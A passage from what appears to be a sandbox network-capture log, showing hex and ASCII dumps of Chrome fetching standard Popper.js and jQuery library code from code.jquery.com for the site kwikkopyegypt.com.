e.ownerDocument.body;case'#document':retu
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b Data Ascii: =2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e Data Ascii: p-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d Data Ascii: height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 Data Ascii: ('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:th
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 Data Ascii: ions.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e Data Ascii: ==t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'en
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 Data Ascii: ==e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 Data Ascii: &e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Ob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.25	49751	151.101.130.137	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:44 UTC	658	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://kwikkopyegypt.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:44 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 10 Mar 2025 12:50:44 GMT Age: 214241 X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740076-EWR X-Cache: HIT, HIT X-Cache-Hits: 20, 1 X-Timer: S1741611044.439991,VS0,VE1 Vary: Accept-Encoding
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2025-03-10 12:50:44 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.25	49749	151.101.130.137	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:44 UTC	630	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
